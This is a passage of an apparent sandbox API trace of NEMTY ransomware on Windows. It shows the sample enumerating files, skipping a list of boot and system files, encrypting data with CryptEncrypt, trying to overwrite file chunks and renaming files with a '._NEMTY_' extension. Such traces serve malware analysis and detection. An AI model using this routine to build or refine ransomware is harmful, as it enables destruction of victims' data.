lpWideCharStr=0x0) returned 16 [0058.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0058.126] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0058.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0058.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0058.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6343fe8 [0058.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x6344080 [0058.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0058.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0058.126] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\curtains.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\curtains.png._nemty_kgobjgd_")) returned 0 [0058.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344080 | out: hHeap=0x4f90000) returned 1 [0058.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340540 | out: hHeap=0x4f90000) returned 1 [0058.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0058.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400e0 | out: hHeap=0x4f90000) returned 1 [0058.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c8 | out: hHeap=0x4f90000) returned 1 [0058.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0058.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0058.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0058.127] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b52759, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b52759, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b3fb4e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12d98, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="flower_precomp_matte.wmv", cAlternateFileName="")) returned 1 [0058.127] lstrcmpiW (lpString1="flower_precomp_matte.wmv", lpString2=".") returned 1 [0058.127] lstrcmpiW (lpString1="flower_precomp_matte.wmv", lpString2="..") returned 1 [0058.127] lstrcmpiW (lpString1="flower_precomp_matte.wmv", lpString2="...") returned 1 [0058.127] lstrcmpiW (lpString1="flower_precomp_matte.wmv", lpString2="windows") returned -1 [0058.127] lstrcmpiW (lpString1="flower_precomp_matte.wmv", lpString2="$RECYCLE.BIN") returned 1 [0058.127] lstrcmpiW (lpString1="flower_precomp_matte.wmv", lpString2="rsa") returned -1 [0058.127] lstrcmpiW (lpString1="flower_precomp_matte.wmv", lpString2="NTDETECT.COM") returned -1 [0058.127] lstrcmpiW (lpString1="flower_precomp_matte.wmv", lpString2="ntldr") returned -1 [0058.127] lstrcmpiW (lpString1="flower_precomp_matte.wmv", lpString2="MSDOS.SYS") returned -1 [0058.127] lstrcmpiW (lpString1="flower_precomp_matte.wmv", lpString2="IO.SYS") returned -1 [0058.127] lstrcmpiW (lpString1="flower_precomp_matte.wmv", lpString2="boot.ini") returned 1 [0058.127] lstrcmpiW (lpString1="flower_precomp_matte.wmv", lpString2="boot.ini") returned 1 [0058.127] lstrcmpiW (lpString1="flower_precomp_matte.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0058.127] lstrcmpiW (lpString1="flower_precomp_matte.wmv", lpString2="ntuser.dat") returned -1 [0058.127] lstrcmpiW (lpString1="flower_precomp_matte.wmv", lpString2="desktop.ini") returned 1 [0058.127] lstrcmpiW (lpString1="flower_precomp_matte.wmv", lpString2="CONFIG.SYS") returned 1 [0058.127] lstrcmpiW (lpString1="flower_precomp_matte.wmv", lpString2="RECYCLER") returned -1 [0058.127] lstrcmpiW (lpString1="flower_precomp_matte.wmv", lpString2="BOOTSECT.BAK") returned 1 [0058.127] lstrcmpiW (lpString1="flower_precomp_matte.wmv", lpString2="bootmgr") returned 1 [0058.127] lstrcmpiW (lpString1="flower_precomp_matte.wmv", lpString2="programdata") returned -1 [0058.127] lstrcmpiW (lpString1="flower_precomp_matte.wmv", lpString2="appdata") returned 1 [0058.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0058.127] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_precomp_matte.wmv", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0058.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0058.127] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_precomp_matte.wmv", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower_precomp_matte.wmv", lpUsedDefaultChar=0x0) returned 24 [0058.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0058.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0058.128] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_precomp_matte.wmv", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0058.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0058.128] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_precomp_matte.wmv", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower_precomp_matte.wmv", lpUsedDefaultChar=0x0) returned 24 [0058.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0058.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0058.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0058.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0058.128] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_precomp_matte.wmv", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0058.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0058.128] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_precomp_matte.wmv", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower_precomp_matte.wmv", lpUsedDefaultChar=0x0) returned 24 [0058.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0058.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0058.128] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_precomp_matte.wmv", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0058.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0058.128] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_precomp_matte.wmv", cchWideChar=24, lpMultiByteStr=0x4f9ed58, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower_precomp_matte.wmv", lpUsedDefaultChar=0x0) returned 24 [0058.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0058.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0058.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0058.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0058.128] Sleep (dwMilliseconds=0x5) [0058.139] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd64ce950, dwHighDateTime=0x1d561e7)) [0058.139] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd64ce950, dwHighDateTime=0x1d561e7)) [0058.139] GetLastError () returned 0x5 [0058.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0058.139] GetLastError () returned 0x5 [0058.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0058.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0058.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0058.139] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0058.139] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0058.140] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0058.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0058.140] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="maFUFDHqHyvolCZPG6kZoHKh9iFIO4BlVz5Bn24/vgvJeCceS5JRlYLOpjPkF78F\r\nf85E+gLf8tu00otAsE5hpkJjalIctEVuFiyHZNFDxCQi9KBhPqrDwCxJK4+y5GpX\r\nps3o9PHVUfTLQUGMAzE36R8nXSBj1pGWZrvwSAziwFscZ6A030jY66hnQB2GVPNH\r\nh3Dkzf4a5kJLgPHe0iG57MctFI4eAiouGuUnHQYKCK67FVy0ZB56A5bUv6Iu55zH\r\nVi9fGh9F2tQ02BVtYstjbGdwgr3BNqQbfSWDej7DZaBKUIj/1CvvgS8hWak+R3X3\r\negzdLyn1O4ihsNRI9kHFyQ==\r\n", pcchString=0x653e91c) returned 1 [0058.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340260 [0058.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0058.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0058.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0058.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0058.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403d8 [0058.140] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0058.141] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0058.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0058.141] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.141] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.150] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.150] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.150] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.150] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.159] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.159] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.159] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.159] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.168] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.168] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.168] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.168] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.178] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.178] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.178] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.178] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.208] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.208] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.208] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.208] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.217] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.217] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.217] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.217] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.226] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.226] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.226] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.226] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.236] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.236] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.236] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.236] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.245] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.245] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.245] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.245] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.259] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.260] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.260] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.260] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.266] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.266] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.266] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.266] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.272] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.272] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.272] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.272] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.272] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0058.272] CloseHandle (hObject=0xffffffff) returned 0 [0058.272] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0058.272] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0058.272] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0058.272] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0058.272] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0058.272] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0058.272] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6344090 [0058.272] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344138 [0058.272] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0058.272] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0058.272] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte.wmv._nemty_kgobjgd_")) returned 0 [0058.272] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344138 | out: hHeap=0x4f90000) returned 1 [0058.272] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0058.272] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0058.272] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0058.272] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d8 | out: hHeap=0x4f90000) returned 1 [0058.272] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0058.272] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0058.272] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0058.272] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 